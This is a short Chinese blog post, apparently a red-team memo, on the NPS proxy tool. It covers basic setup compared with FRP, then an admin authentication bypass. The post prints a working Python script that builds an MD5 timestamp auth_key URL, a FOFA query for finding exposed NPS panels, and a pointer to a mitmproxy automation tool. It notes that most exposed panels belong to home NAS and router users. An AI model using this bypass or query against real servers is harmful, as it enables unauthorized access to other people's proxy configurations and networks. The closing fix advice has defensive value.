HVV期间爆出一个nps的权限绕过漏洞,会泄漏nps上配置的所有参数。记录备忘,找个RT的倒霉蛋试试
0x01 NPS使用
代理一直用的都是Frp,刚好有时间对比一下哪个好用。安装就不介绍了,Github上有详细的中文文档进行说明。
1.创建一个客户端
通过默认端口登录NPS后,选择左边客户端一栏,根据需要新增一个客户端。类比frp,就是开启frps
2.通过客户端进行连接
之后通过客户端进行连接,命令写在了客户端里面。类比frp,就是通过frpc进行连接
3.建立隧道进行转发
建立连接后,点击客户端右边的隧道,可以新建各种协议的代理转发。
使用区别:Frp客户端连接服务端时,通过frpc.ini指定了隧道。NPS先连接服务端,后指定隧道。
0x02 后台权限绕过
具体可以看这篇分析文章,重点在于只要把时间戳进行MD5编码即可进行绕过。
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))

fofa语法:body="https://ehang.io/nps"
直接在浏览器进行拼接即可绕过。此时若点击其他状态栏会302跳转到登录框,如果浏览器自动替换时间戳应该就不会跳转了。

0x03 自动化脚本
参考这个项目进行自动替换即可。用法很简单一条命令进行抓包,浏览器设置成mitmproxy的代理端口,之后访问NPS地址会发现直接登录后台并可以进行操作了。
0x04 修复建议
通过fofa一看一个准,全是大家nas、openwrt、mstsc的代理。自建的nps参考网上说的去掉auth_key还是可以进行复现,强烈建议作者下版本修复后再进行使用。